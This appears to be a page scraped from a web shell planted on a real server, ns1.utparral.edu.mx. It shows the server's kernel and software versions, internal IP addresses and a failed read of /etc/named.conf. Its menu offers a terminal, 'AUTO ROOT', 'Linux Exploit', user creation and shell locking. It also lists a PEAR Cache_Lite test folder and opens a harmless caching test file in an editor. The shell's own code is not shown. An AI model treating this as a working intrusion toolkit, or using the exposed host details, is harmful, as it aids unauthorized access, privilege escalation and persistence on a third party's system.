Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
Cache_Lite /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
bench2.php
394
B
-rw-r--r--
bench3.php
1.54
KB
-rw-r--r--
bench.php
411
B
-rw-r--r--
Cache_Lite_automaticCleaning.phpt
1.45
KB
-rw-r--r--
cache_lite_base.inc
41
B
-rw-r--r--
Cache_Lite_classical.phpt
1.17
KB
-rw-r--r--
Cache_Lite_error2.phpt
2.09
KB
-rw-r--r--
Cache_Lite_error.phpt
1.38
KB
-rw-r--r--
Cache_Lite_eternal.phpt
1.17
KB
-rw-r--r--
Cache_Lite_fatest.phpt
1.31
KB
-rw-r--r--
cache_lite_file_base.inc
46
B
-rw-r--r--
Cache_Lite_File_classical.phpt
2.08
KB
-rw-r--r--
cache_lite_function_base.inc
50
B
-rw-r--r--
Cache_Lite_Function_classical.phpt
3.3
KB
-rw-r--r--
Cache_Lite_Function_dontcache.phpt
3.36
KB
-rw-r--r--
Cache_Lite_Function_drop.phpt
866
B
-rw-r--r--
Cache_Lite_hashed.phpt
2.54
KB
-rw-r--r--
Cache_Lite_lifetime.phpt
979
B
-rw-r--r--
Cache_Lite_memorycache.phpt
1.21
KB
-rw-r--r--
cache_lite_output_base.inc
47
B
-rw-r--r--
Cache_Lite_Output_classical.phpt
1.2
KB
-rw-r--r--
Cache_Lite_serialization.phpt
1.14
KB
-rw-r--r--
callcache.inc
4.01
KB
-rw-r--r--
errordie.php
523
B
-rw-r--r--
ErrorDieTest.php
956
B
-rw-r--r--
NestedOutputTest.php
1.6
KB
-rw-r--r--
pearbug13693.phpt
599
B
-rw-r--r--
pearbug18192.php
466
B
-rw-r--r--
pearbug18328.phpt
575
B
-rw-r--r--
pearbug19422.phpt
2.58
KB
-rw-r--r--
pearbug513.phpt
1.19
KB
-rw-r--r--
pearbug7618.phpt
643
B
-rw-r--r--
readme
545
B
-rw-r--r--
tmpdir.inc
908
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pearbug19422.phpt
--TEST-- Cache_Lite::Cache_Lite (PEAR bug #19422) --FILE-- <?php /** * Test for Pear Bug #19422 * * @see https://pear.php.net/bugs/bug.php?id=19422 * @see https://bugs.php.net/bug.php?id=30936 * * @package Cache_Lite * @category Caching * @author Markus Tacker <tacker@php.net> */ require_once 'Cache/Lite.php'; define('FsStreamWrapper_CACHE_DIR', sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'cachelite-streamwrapper' . DIRECTORY_SEPARATOR); class FsStreamWrapper { const SCHEME = 'public'; private $fp; public function __construct() { if (!is_dir(FsStreamWrapper_CACHE_DIR)) mkdir(FsStreamWrapper_CACHE_DIR); } public function url_stat($path, $flags) { $localpath = $this->scheme2file($path); if (!is_file($localpath)) return 0; return stat($localpath); } private function scheme2file($path) { return str_replace(self::SCHEME . '://', FsStreamWrapper_CACHE_DIR, $path); } public function stream_open($path, $mode, $options, &$opath) { $this->fp = fopen($this->scheme2file($path), $mode); return true; } public function stream_write($data) { return fwrite($this->fp, $data); } public function stream_close() { return fclose($this->fp); } public function stream_lock($operation) { return flock($this->fp, $operation); } public function unlink($path) { return unlink($this->scheme2file($path)); } public function stream_read($count) { return fread($this->fp, $count); } public function stream_eof() { return feof($this->fp); } public function stream_seek($offset, $whence) { return !fseek($this->fp, $offset, $whence); } public function stream_flush() { return fflush($this->fp); } public function stream_tell() { return ftell($this->fp); } public function rename($from_uri, $to_uri) { return rename($this->scheme2file($from_uri), $this->scheme2file($to_uri)); } } $xml = array(); $cacheOpt = array(); $cacheOpt['cacheDir'] = 'public://'; $cacheOpt['cache_time'] = 3600; $Cache_Lite = new Cache_Lite($cacheOpt); $Cache_Lite->setToDebug(); stream_wrapper_register(FsStreamWrapper::SCHEME, 'FsStreamWrapper'); $fp = fopen('/dev/urandom', 'r'); $data = fread($fp, 32 * 1024); fclose($fp); $Cache_Lite->save($data, 'largechache'); $verify = $Cache_Lite->get('largechache'); var_dump(strlen($data) === strlen($verify)); var_dump($data === $verify); ?> --GET-- --POST-- --EXPECT-- bool(true) bool(true)
Close